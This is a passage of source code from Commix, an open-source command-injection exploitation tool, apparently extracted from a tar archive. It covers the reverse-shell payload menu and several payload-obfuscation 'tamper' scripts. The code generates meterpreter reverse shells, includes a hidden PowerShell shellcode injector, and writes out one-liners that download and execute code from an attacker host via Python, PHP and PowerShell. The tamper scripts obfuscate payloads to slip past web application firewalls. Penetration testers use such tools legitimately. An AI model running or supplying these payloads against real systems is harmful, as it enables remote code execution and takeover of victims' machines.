data = ''.join(data).replace("\n",settings.SINGLE_WHITESPACE)
print(settings.SINGLE_WHITESPACE)
# Remove the ouput file.
os.remove(output)
with open(output, 'w+') as filewrite:
filewrite.write("use exploit/multi/handler\n"
"set payload " + payload + "\n"
"set lhost " + str(settings.LHOST) + "\n"
"set lport " + str(settings.LPORT) + "\n"
"exploit\n\n")
if settings.TARGET_OS == settings.OS.WINDOWS and not settings.USER_DEFINED_PHP_DIR:
set_php_working_dir()
other_shell = settings.WIN_PHP_DIR + " -r " + data
else:
other_shell = "php -r \"" + data + "\""
msf_launch_msg(output)
except:
print(settings.SINGLE_WHITESPACE)
break
# Python-reverse-shell (meterpreter)
elif other_shell == '10':
if not os.path.exists(settings.METASPLOIT_PATH):
error_msg = settings.METASPLOIT_ERROR_MSG
print(settings.print_error_msg(error_msg))
continue
payload = "python/meterpreter/reverse_tcp"
output = "py_meterpreter.rc"
info_msg = "Generating the '" + payload + "' payload. "
sys.stdout.write(settings.print_info_msg(info_msg))
sys.stdout.flush()
try:
proc = subprocess.Popen("msfvenom -p " + str(payload) +
" LHOST=" + str(settings.LHOST) +
" LPORT=" + str(settings.LPORT) +
" -o " + output + ">/dev/null 2>&1", shell=True).wait()
with open (output, "r") as content_file:
data = content_file.readlines()
data = ''.join(data)
#data = base64.b64encode(data.encode(settings.DEFAULT_CODEC)).decode()
print(settings.SINGLE_WHITESPACE)
# Remove the ouput file.
os.remove(output)
with open(output, 'w+') as filewrite:
filewrite.write("use exploit/multi/handler\n"
"set payload " + payload + "\n"
"set lhost " + str(settings.LHOST) + "\n"
"set lport " + str(settings.LPORT) + "\n"
"exploit\n\n")
if settings.TARGET_OS == settings.OS.WINDOWS:
if not settings.USER_DEFINED_PYTHON_DIR:
set_python_working_dir()
other_shell = settings.WIN_PYTHON_INTERPRETER + " -c " + "\"" + data + "\""
else:
if not settings.USER_DEFINED_PYTHON_INTERPRETER:
set_python_interpreter()
other_shell = settings.LINUX_PYTHON_INTERPRETER + " -c " + "\"" + data + "\""
msf_launch_msg(output)
except:
print(settings.SINGLE_WHITESPACE)
break
# Powershell injection attacks
elif other_shell == '11':
if not settings.TARGET_OS == settings.OS.WINDOWS:
windows_only_attack_vector()
continue
else:
while True:
windows_reverse_shell = _input("""""" + Style.BRIGHT + """Available powershell injection options:""" + Style.RESET_ALL + """
""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """1""" + Style.RESET_ALL + """' to use shellcode injection with native x86 shellcode.
""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """2""" + Style.RESET_ALL + """' to use TrustedSec's Magic Unicorn.
commix(""" + Style.BRIGHT + Fore.RED + """windows_meterpreter_reverse_tcp""" + Style.RESET_ALL + """) > """)
if any(option in windows_reverse_shell.lower() for option in settings.SHELL_OPTIONS):
if shell_options(windows_reverse_shell):
return shell_options(windows_reverse_shell)
elif windows_reverse_shell == '1' :
output = "powershell_attack.rc"
elif windows_reverse_shell == '2' :
output = "powershell_attack.txt"
else:
common.invalid_option(windows_reverse_shell)
continue
if not os.path.exists(settings.METASPLOIT_PATH):
error_msg = settings.METASPLOIT_ERROR_MSG
print(settings.print_error_msg(error_msg))
continue
payload = "windows/meterpreter/reverse_tcp"
# Shellcode injection with native x86 shellcode
if windows_reverse_shell == '1':
gen_payload_msg(payload)
try:
proc = subprocess.Popen("msfvenom -p " + str(payload) + " LHOST=" + str(settings.LHOST) + " LPORT=" + str(settings.LPORT) + " -f c -o " + output + ">/dev/null 2>&1", shell=True).wait()
with open(output, 'r') as content_file:
repls = {';': '', ' ': '', '+': '', '"': '', '\n': '', 'buf=': '', '\\x': ',0x', 'unsignedcharbuf[]=': ''}
shellcode = reduce(lambda a, kv: a.replace(*kv), iter(repls.items()), content_file.read()).rstrip()[1:]
# One line shellcode injection with native x86 shellcode
# Greetz to Dave Kennedy (@HackingDave)
powershell_code = (r"""$1 = '$c = ''[DllImport("kernel32.dll")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport("kernel32.dll")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport("msvcrt.dll")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);'';$w = Add-Type -memberDefinition $c -Name "Win32" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$sc64 = %s;[Byte[]]$sc = $sc64;$size = 0x1000;if ($sc.Length -gt 0x1000) {$size = $sc.Length};$x=$w::VirtualAlloc(0,0x1000,$size,0x40);for ($i=0;$i -le ($sc.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $sc[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;) { Start-sleep 60 };';$goat = [System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($1));if($env:PROCESSOR_ARCHITECTURE -eq "AMD64"){$x86 = $env:SystemRoot + "syswow64WindowsPowerShellv1.0powershell";$cmd = "-noninteractive -EncodedCommand";iex "& $x86 $cmd $goat"}else{$cmd = "-noninteractive -EncodedCommand";iex "& powershell $cmd $goat";}""" % (shellcode))
other_shell = "powershell -noprofile -windowstyle hidden -noninteractive -EncodedCommand " + base64.b64encode(powershell_code.encode('utf_16_le'))
print(settings.SINGLE_WHITESPACE)
with open(output, 'w+') as filewrite:
filewrite.write("use exploit/multi/handler\n"
"set payload " + payload + "\n"
"set lhost " + str(settings.LHOST) + "\n"
"set lport " + str(settings.LPORT) + "\n"
"exploit\n\n")
msf_launch_msg(output)
except:
print(settings.SINGLE_WHITESPACE)
break
# TrustedSec's Magic Unicorn (3rd Party)
elif windows_reverse_shell == '2':
try:
current_path = os.getcwd()
try:
unicorn_path = os.path.abspath(os.path.join(os.path.dirname(__file__), '../../', 'thirdparty/unicorn'))
os.chdir(unicorn_path)
# Check for Unicorn version.
with open('unicorn.py') as unicorn_file:
for line in unicorn_file:
line = line.rstrip()
if "Magic Unicorn Attack Vector v" in line:
unicorn_version = line.replace("Magic Unicorn Attack Vector v", "").replace(settings.SINGLE_WHITESPACE, "").replace("-","").replace("\"","").replace(")","")
break
except:
unicorn_version = ""
update.check_unicorn_version(unicorn_version)
try:
if len(unicorn_version) == 0:
unicorn_path = os.path.abspath(os.path.join(os.path.dirname(__file__), '../../', 'thirdparty/unicorn'))
os.chdir(unicorn_path)
gen_payload_msg(payload)
subprocess.Popen("python unicorn.py" + settings.SINGLE_WHITESPACE + str(payload) + settings.SINGLE_WHITESPACE + str(settings.LHOST) + settings.SINGLE_WHITESPACE + str(settings.LPORT) + ">/dev/null 2>&1", shell=True).wait()
with open(output, 'r') as content_file:
other_shell = content_file.read().replace('\n', '')
other_shell = _urllib.parse.quote_plus(other_shell)
print(settings.SINGLE_WHITESPACE)
# Remove the ouput file
os.remove(output)
with open("unicorn.rc", 'w+') as filewrite:
filewrite.write("use exploit/multi/handler\n"
"set payload " + payload + "\n"
"set lhost " + str(settings.LHOST) + "\n"
"set lport " + str(settings.LPORT) + "\n"
"exploit\n\n")
msf_launch_msg("unicorn.rc")
# Return to the current path.
os.chdir(current_path)
except:
continue
except:
print(settings.SINGLE_WHITESPACE)
break
break
# Web delivery script
elif other_shell == '12':
while True:
web_delivery = _input("""""" + Style.BRIGHT + """Available web delivery script options:""" + Style.RESET_ALL + """
""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """1""" + Style.RESET_ALL + """' to use Python meterpreter reverse TCP shell.
""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """2""" + Style.RESET_ALL + """' to use PHP meterpreter reverse TCP shell.
""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """3""" + Style.RESET_ALL + """' to use meterpreter reverse TCP shell (windows).
commix(""" + Style.BRIGHT + Fore.RED + """web_delivery""" + Style.RESET_ALL + """) > """)
if any(option in web_delivery.lower() for option in settings.SHELL_OPTIONS):
if shell_options(web_delivery):
return shell_options(web_delivery)
elif web_delivery == '1':
payload = "python/meterpreter/reverse_tcp"
elif web_delivery == '2':
payload = "php/meterpreter/reverse_tcp"
elif web_delivery == '3':
payload = "windows/meterpreter/reverse_tcp"
else:
common.invalid_option(web_delivery)
continue
if not os.path.exists(settings.METASPLOIT_PATH):
error_msg = settings.METASPLOIT_ERROR_MSG
print(settings.print_error_msg(error_msg))
continue
if 'payload' in locals():
output = "web_delivery.rc"
with open(output, 'w+') as filewrite:
filewrite.write("use exploit/multi/script/web_delivery\n"
"set target " + str(int(web_delivery)-1) + "\n"
"set payload " + payload + "\n"
"set lhost " + str(settings.LHOST) + "\n"
"set lport " + str(settings.LPORT) + "\n"
"set srvport " + str(settings.SRVPORT) + "\n"
"set uripath " + settings.URIPATH + "\n"
"exploit\n\n")
if web_delivery == '1':
data = "import sys%3bimport ssl%3bu%3d__import__('urllib'%2b{2%3a'',3%3a'.request'}[sys.version_info[0]],fromlist%3d('urlopen',))%3br%3du.urlopen('http://" + str(settings.LHOST) + ":" + str(settings.SRVPORT) + settings.URIPATH + "',context%3dssl._create_unverified_context())%3bexec(r.read())%3b"
if settings.TARGET_OS == settings.OS.WINDOWS:
if not settings.USER_DEFINED_PYTHON_DIR:
set_python_working_dir()
other_shell = settings.WIN_PYTHON_INTERPRETER + " -c " + "\"" + data + "\""
else:
if not settings.USER_DEFINED_PYTHON_INTERPRETER:
set_python_interpreter()
other_shell = settings.LINUX_PYTHON_INTERPRETER + " -c " + "\"" + data + "\""
msf_launch_msg(output)
break
elif web_delivery == '2':
if settings.TARGET_OS == settings.OS.WINDOWS and not settings.USER_DEFINED_PHP_DIR:
set_php_working_dir()
other_shell = settings.WIN_PHP_DIR + " -d allow_url_fopen=true -r eval(file_get_contents('http://" + str(settings.LHOST) + ":" + str(settings.SRVPORT) + settings.URIPATH + "'));"
else:
other_shell = "php -d allow_url_fopen=true -r \"eval(file_get_contents('http://" + str(settings.LHOST) + ":" + str(settings.SRVPORT) + settings.URIPATH + "'));\""
msf_launch_msg(output)
break
elif web_delivery == '3':
if not settings.TARGET_OS == settings.OS.WINDOWS:
windows_only_attack_vector()
continue
else:
other_shell = "powershell -nop -w hidden -c $x=new-object net.webclient;$x.proxy=[Net.WebRequest]::GetSystemWebProxy(); $x.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials; IEX $x.downloadstring('http://" + str(settings.LHOST) + ":" + str(settings.SRVPORT) + settings.URIPATH + "');"
msf_launch_msg(output)
break
break
# Check for available shell options
elif any(option in other_shell.lower() for option in settings.SHELL_OPTIONS):
if shell_options(other_shell):
return shell_options(other_shell)
# Invalid option
else:
common.invalid_option(other_shell)
continue
return other_shell
"""
Choose type of reverse TCP connection.
"""
def reverse_tcp_options(separator):
while True:
reverse_tcp_option = _input("""""" + Style.BRIGHT + """Available reverse TCP shell options:""" + Style.RESET_ALL + """
""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """1""" + Style.RESET_ALL + """' for netcat reverse TCP shells.
""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """2""" + Style.RESET_ALL + """' for other reverse TCP shells.
commix(""" + Style.BRIGHT + Fore.RED + """reverse_tcp""" + Style.RESET_ALL + """) > """)
if reverse_tcp_option.lower() == "reverse_tcp":
warn_msg = "You are into the '" + reverse_tcp_option.lower() + "' mode."
print(settings.print_warning_msg(warn_msg))
continue
# Option 1 - Netcat shell
elif reverse_tcp_option == '1' :
reverse_tcp_option = netcat_version(separator)
if reverse_tcp_option.lower() not in settings.SHELL_OPTIONS:
shell_success()
break
elif reverse_tcp_option.lower() in settings.SHELL_OPTIONS:
return reverse_tcp_option
else:
pass
# Option 2 - Other (Netcat-Without-Netcat) shells
elif reverse_tcp_option == '2' :
reverse_tcp_option = other_reverse_shells(separator)
if reverse_tcp_option.lower() not in settings.SHELL_OPTIONS:
shell_success()
break
# Check for available shell options
elif any(option in reverse_tcp_option.lower() for option in settings.SHELL_OPTIONS):
if shell_options(reverse_tcp_option):
return shell_options(reverse_tcp_option)
# Invalid option
else:
common.invalid_option(reverse_tcp_option)
continue
return reverse_tcp_option
"""
Set up the reverse TCP connection
"""
def configure_reverse_tcp(separator):
# Set up LHOST for the reverse TCP connection
while True:
sys.stdout.write(settings.REVERSE_TCP_SHELL)
option = _input()
if option.lower() == "reverse_tcp":
warn_msg = "You are into the '" + option.lower() + "' mode."
print(settings.print_warning_msg(warn_msg))
continue
if option.lower() == "?":
menu.reverse_tcp_options()
continue
if option.lower() == "quit":
raise SystemExit()
elif option.lower() == "os_shell" or option.lower() == "back":
settings.REVERSE_TCP = False
break
elif option.lower() == "bind_tcp":
settings.BIND_TCP = True
settings.REVERSE_TCP = False
break
elif len(settings.LPORT) != 0 and len(settings.LHOST) != 0:
break
elif option[0:4].lower() == "set ":
if option[4:10].lower() == "lhost ":
if check_lhost(option[10:]):
if len(settings.LPORT) == 0:
pass
else:
break
else:
continue
elif option[4:10].lower() == "rhost ":
err_msg = "The '" + option[4:9].upper() + "' option, is not "
err_msg += "usable for 'reverse_tcp' mode. Use 'LHOST' option."
print(settings.print_error_msg(err_msg))
continue
elif option[4:10].lower() == "lport ":
if check_lport(option[10:]):
if len(settings.LHOST) == 0:
pass
else:
break
else:
continue
elif option[4:12].lower() == "srvport ":
check_srvport(option[12:])
elif option[4:12].lower() == "uripath ":
check_uripath(option[12:])
else:
common.invalid_option(option)
pass
else:
common.invalid_option(option)
pass
# eof commix-3.8/src/core/tamper/ 0000775 0000000 0000000 00000000000 14466364451 0015704 5 ustar 00root root 0000000 0000000 commix-3.8/src/core/tamper/__init__.py 0000664 0000000 0000000 00000000743 14466364451 0020021 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
For more see the file 'readme/COPYING' for copying permission.
"""
pass commix-3.8/src/core/tamper/backslashes.py 0000664 0000000 0000000 00000002641 14466364451 0020544 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
For more see the file 'readme/COPYING' for copying permission.
"""
import re
import sys
from src.utils import menu
from src.utils import settings
"""
About: Adds back slashes (\) between the characters of the generated payloads.
Notes: This tamper script works against Unix-like target(s).
"""
__tamper__ = "backslashes"
if not settings.TAMPER_SCRIPTS[__tamper__]:
settings.TAMPER_SCRIPTS[__tamper__] = True
def tamper(payload):
def add_back_slashes(payload):
settings.TAMPER_SCRIPTS[__tamper__] = True
obf_char = "\\"
payload = re.sub(r'([b-zD-Z])', lambda x: obf_char + x[0], payload)
for word in settings.IGNORE_TAMPER_TRANSFORMATION:
_ = obf_char.join(word[i:i+1] for i in range(-1, len(word), 1))
if _ in payload:
payload = payload.replace(_,_.replace(obf_char,""))
return payload
if settings.TARGET_OS != settings.OS.WINDOWS:
if settings.EVAL_BASED_STATE != False:
return payload
else:
return add_back_slashes(payload)
else:
return payload
# eof commix-3.8/src/core/tamper/backticks.py 0000664 0000000 0000000 00000001425 14466364451 0020216 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
For more see the file 'readme/COPYING' for copying permission.
"""
import sys
from src.utils import settings
"""
About: Uses backticks instead of "$()" for commands substitution on the generated payloads.
Notes: This tamper script works against Unix-like target(s).
"""
__tamper__ = "backticks"
settings.TAMPER_SCRIPTS[__tamper__] = True
settings.USE_BACKTICKS = True
# eof commix-3.8/src/core/tamper/base64encode.py 0000664 0000000 0000000 00000002460 14466364451 0020522 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
For more see the file 'readme/COPYING' for copying permission.
"""
import sys
import base64
from src.thirdparty.six.moves import urllib as _urllib
from src.utils import settings
"""
About: Base64 all characters in a given payload.
Notes: This tamper script works against all targets.
"""
__tamper__ = "base64encode"
if not settings.TAMPER_SCRIPTS[__tamper__]:
settings.TAMPER_SCRIPTS[__tamper__] = True
def tamper(payload):
if settings.WHITESPACES[0] == "+":
err_msg = "Tamper script '" + __tamper__ + "' is unlikely to work combined with the tamper script 'space2plus'."
if settings.VERBOSITY_LEVEL == 0:
print(settings.SINGLE_WHITESPACE)
print(settings.print_critical_msg(err_msg))
raise SystemExit()
else:
payload = _urllib.parse.unquote(payload)
payload = base64.b64encode(payload.encode())
payload = payload.decode(settings.DEFAULT_CODEC)
return payload
# eof commix-3.8/src/core/tamper/caret.py 0000664 0000000 0000000 00000003507 14466364451 0017361 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
For more see the file 'readme/COPYING' for copying permission.
"""
import re
import sys
from src.utils import menu
from src.utils import settings
"""
About: Adds caret symbol (^) between the characters of the generated payloads.
Notes: This tamper script works against windows targets.
"""
__tamper__ = "caret"
if not settings.TAMPER_SCRIPTS[__tamper__]:
settings.TAMPER_SCRIPTS[__tamper__] = True
def tamper(payload):
def add_caret_symbol(payload):
settings.TAMPER_SCRIPTS[__tamper__] = True
if re.compile("\w+").findall(payload):
long_string = ""
if len(max(re.compile("\w+").findall(payload), key=lambda word: len(word))) >= 5000:
long_string = max(re.compile("\w+").findall(payload), key=lambda word: len(word))
rep = {
"^^": "^",
'"^t""^o""^k""^e""^n""^s"': '"t"^"o"^"k"^"e"^"n"^"s"',
'^t^o^k^e^n^s': '"t"^"o"^"k"^"e"^"n"^"s"',
re.sub(r'([b-zD-Z])', r'^\1', long_string) : long_string.replace("^","")
}
payload = re.sub(r'([b-zD-Z])', r'^\1', payload)
rep = dict((re.escape(k), v) for k, v in rep.items())
pattern = re.compile("|".join(rep.keys()))
payload = pattern.sub(lambda m: rep[re.escape(m.group(0))], payload)
return payload
if settings.TARGET_OS == settings.OS.WINDOWS:
if settings.EVAL_BASED_STATE != False:
return payload
else:
return add_caret_symbol(payload)
else:
return payload
# eof commix-3.8/src/core/tamper/dollaratsigns.py 0000664 0000000 0000000 00000002632 14466364451 0021127 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
For more see the file 'readme/COPYING' for copying permission.
"""
import re
from src.utils import settings
"""
About: Adds dollar sign followed by an at-sign ($@) between the characters of the generated payloads.
Notes: This tamper script works against Unix-like target(s).
"""
__tamper__ = "dollaratsigns"
if not settings.TAMPER_SCRIPTS[__tamper__]:
settings.TAMPER_SCRIPTS[__tamper__] = True
def tamper(payload):
def add_dollar_at_signs(payload):
settings.TAMPER_SCRIPTS[__tamper__] = True
obf_char = "$@"
payload = re.sub(r'([b-zD-Z])', lambda x: obf_char + x[0], payload)
for word in settings.IGNORE_TAMPER_TRANSFORMATION:
_ = obf_char.join(word[i:i+1] for i in range(-1, len(word), 1))
if _ in payload:
payload = payload.replace(_,_.replace(obf_char,""))
return payload
if settings.TARGET_OS != settings.OS.WINDOWS:
if settings.EVAL_BASED_STATE != False:
return payload
else:
return add_dollar_at_signs(payload)
else:
return payload
# eof commix-3.8/src/core/tamper/doublequotes.py 0000664 0000000 0000000 00000003046 14466364451 0020774 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
For more see the file 'readme/COPYING' for copying permission.
"""
import re
from src.utils import settings
"""
About: Adds double quotes (") between the characters of the generated payloads.
Notes: This tamper script works against Unix-like target(s).
"""
__tamper__ = "doublequotes"
if settings.TRANFROM_PAYLOAD != None:
settings.TRANFROM_PAYLOAD = None
if not settings.TAMPER_SCRIPTS[__tamper__]:
settings.TAMPER_SCRIPTS[__tamper__] = True
def tamper(payload):
def add_double_quotes(payload):
settings.TAMPER_SCRIPTS[__tamper__] = True
obf_char = '""'
if settings.TARGET_OS != settings.OS.WINDOWS:
payload = re.sub(r'([b-zD-Z])', r'""\1', payload)
else:
word = "tokens"
_ = obf_char.join(word[i:i+1] for i in range(-1, len(word), 1))
payload = payload.replace(word,_)
for word in settings.IGNORE_TAMPER_TRANSFORMATION:
_ = obf_char.join(word[i:i+1] for i in range(-1, len(word), 1))
if _ in payload:
payload = payload.replace(_,_.replace(obf_char,""))
return payload
if settings.EVAL_BASED_STATE != False:
return payload
else:
return add_double_quotes(payload)
# eof commix-3.8/src/core/tamper/hexencode.py 0000664 0000000 0000000 00000002463 14466364451 0020225 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
For more see the file 'readme/COPYING' for copying permission.
"""
import sys
from src.core.convert import hexencode
from src.thirdparty.six.moves import urllib as _urllib
from src.utils import settings
"""
About: Hex all characters in a given payload.
Notes: This tamper script works against all targets.
"""
__tamper__ = "hexencode"
if not settings.TAMPER_SCRIPTS[__tamper__]:
settings.TAMPER_SCRIPTS[__tamper__] = True
def tamper(payload):
if settings.WHITESPACES[0] == "+":
err_msg = "Tamper script '" + __tamper__ + "' is unlikely to work combined with the tamper script 'space2plus'."
if settings.VERBOSITY_LEVEL == 0:
print(settings.SINGLE_WHITESPACE)
print(settings.print_critical_msg(err_msg))
raise SystemExit()
else:
payload = _urllib.parse.unquote(payload)
encoded_payload, _ = hexencode(payload)
if _:
payload = encoded_payload
return payload
# eof commix-3.8/src/core/tamper/multiplespaces.py 0000664 0000000 0000000 00000001540 14466364451 0021310 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
For more see the file 'readme/COPYING' for copying permission.
"""
import random
from src.utils import settings
"""
About: Adds multiple spaces around OS commands
Notes: Useful to bypass very weak and bespoke web application firewalls that has poorly written permissive regular expressions.
"""
__tamper__ = "multiplespaces"
settings.TAMPER_SCRIPTS[__tamper__] = True
settings.WHITESPACES[0] = settings.WHITESPACES[0] * random.randrange(2, 8)
# eof commix-3.8/src/core/tamper/nested.py 0000664 0000000 0000000 00000003257 14466364451 0017547 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
For more see the file 'readme/COPYING' for copying permission.
"""
import sys
import random
from src.utils import menu
from src.utils import settings
"""
About: Adds double quotes around of the generated payloads (nested).
Notes: This tamper script works against Unix-like target(s).
"""
__tamper__ = "nested"
if not settings.TAMPER_SCRIPTS[__tamper__]:
settings.TAMPER_SCRIPTS[__tamper__] = True
double_quote = "\""
def tamper(payload):
def nested(payload):
if settings.TARGET_OS != settings.OS.WINDOWS:
settings.TAMPER_SCRIPTS[__tamper__] = True
if not menu.options.prefix and not menu.options.suffix:
payload = double_quote + payload + double_quote
else:
if menu.options.prefix and menu.options.prefix != double_quote:
menu.options.prefix = menu.options.prefix + double_quote
else:
menu.options.prefix = double_quote
if menu.options.suffix and menu.options.suffix != double_quote:
menu.options.suffix = menu.options.suffix + double_quote
else:
menu.options.suffix = double_quote
return payload
if settings.TARGET_OS != settings.OS.WINDOWS:
if settings.EVAL_BASED_STATE != False:
return payload
else:
return nested(payload)
else:
return payload
# eof commix-3.8/src/core/tamper/printf2echo.py 0000664 0000000 0000000 00000002451 14466364451 0020503 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
For more see the file 'readme/COPYING' for copying permission.
"""
from src.utils import settings
"""
About: Replaces the printf-based ASCII to Decimal `printf "%d" "'$char'"` with `echo -n $char | od -An -tuC | xargs`.
Notes: This tamper script works against Unix-like target(s)
"""
__tamper__ = "printf2echo"
settings.TAMPER_SCRIPTS[__tamper__] = True
def tamper(payload):
def printf_to_echo(payload):
if "printf" in payload:
payload = payload.replace("str=$(printf" + settings.WHITESPACES[0] + "'%d'" + settings.WHITESPACES[0] + "\"'$char'\")", "str=$(echo" + settings.WHITESPACES[0] + "-n" + settings.WHITESPACES[0] + "$char" + settings.WHITESPACES[0] + "|" + settings.WHITESPACES[0] + "od" + settings.WHITESPACES[0] + "-An" + settings.WHITESPACES[0] + "-tuC" + settings.WHITESPACES[0] + "|" + settings.WHITESPACES[0] + "xargs)")
return payload
return printf_to_echo(payload)
# eof commix-3.8/src/core/tamper/rev.py 0000664 0000000 0000000 00000002705 14466364451 0017056 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
For more see the file 'readme/COPYING' for copying permission.
"""
from src.utils import settings
from src.thirdparty.six.moves import urllib as _urllib
"""
About: Is used to reverse (characterwise) the user-supplied operating system commands.
Notes: This tamper script works against Unix-like target(s).
References: [1] https://github.com/commixproject/commix/issues/408
[2] https://medium.com/picus-security/how-to-bypass-wafs-for-os-command-injection-2c5dd4e6a52b
"""
__tamper__ = "rev"
if not settings.TAMPER_SCRIPTS[__tamper__]:
settings.TAMPER_SCRIPTS[__tamper__] = True
def tamper(payload):
if settings.EXPLOITATION_PHASE:
if settings.USER_SUPPLIED_CMD in settings.RAW_PAYLOAD:
if settings.USE_BACKTICKS:
rev_cmd = "`echo " + settings.USER_SUPPLIED_CMD[::-1] + "|rev`"
else:
rev_cmd = "$(echo " + settings.USER_SUPPLIED_CMD[::-1] + "|rev)"
payload = settings.RAW_PAYLOAD.replace(settings.USER_SUPPLIED_CMD, rev_cmd).replace(settings.SINGLE_WHITESPACE, settings.WHITESPACES[0])
return payload
# eof commix-3.8/src/core/tamper/singlequotes.py 0000664 0000000 0000000 00000002577 14466364451 0021013 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
For more see the file 'readme/COPYING' for copying permission.
"""
import re
from src.utils import settings
"""
About: Adds single quotes (') between the characters of the generated payloads.
Notes: This tamper script works against Unix-like target(s).
"""
__tamper__ = "singlequotes"
if not settings.TAMPER_SCRIPTS[__tamper__]:
settings.TAMPER_SCRIPTS[__tamper__] = True
def tamper(payload):
def add_single_quotes(payload):
settings.TAMPER_SCRIPTS[__tamper__] = True
obf_char = "''"
payload = re.sub(r'([b-zD-Z])', lambda x: obf_char + x[0], payload)
for word in settings.IGNORE_TAMPER_TRANSFORMATION:
_ = obf_char.join(word[i:i+1] for i in range(-1, len(word), 1))
if _ in payload:
payload = payload.replace(_,_.replace(obf_char,""))
return payload
if settings.TARGET_OS != settings.OS.WINDOWS:
if settings.EVAL_BASED_STATE != False:
return payload
else:
return add_single_quotes(payload)
else:
return payload
# eof commix-3.8/src/core/tamper/slash2env.py 0000664 0000000 0000000 00000002373 14466364451 0020170 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
For more see the file 'readme/COPYING' for copying permission.
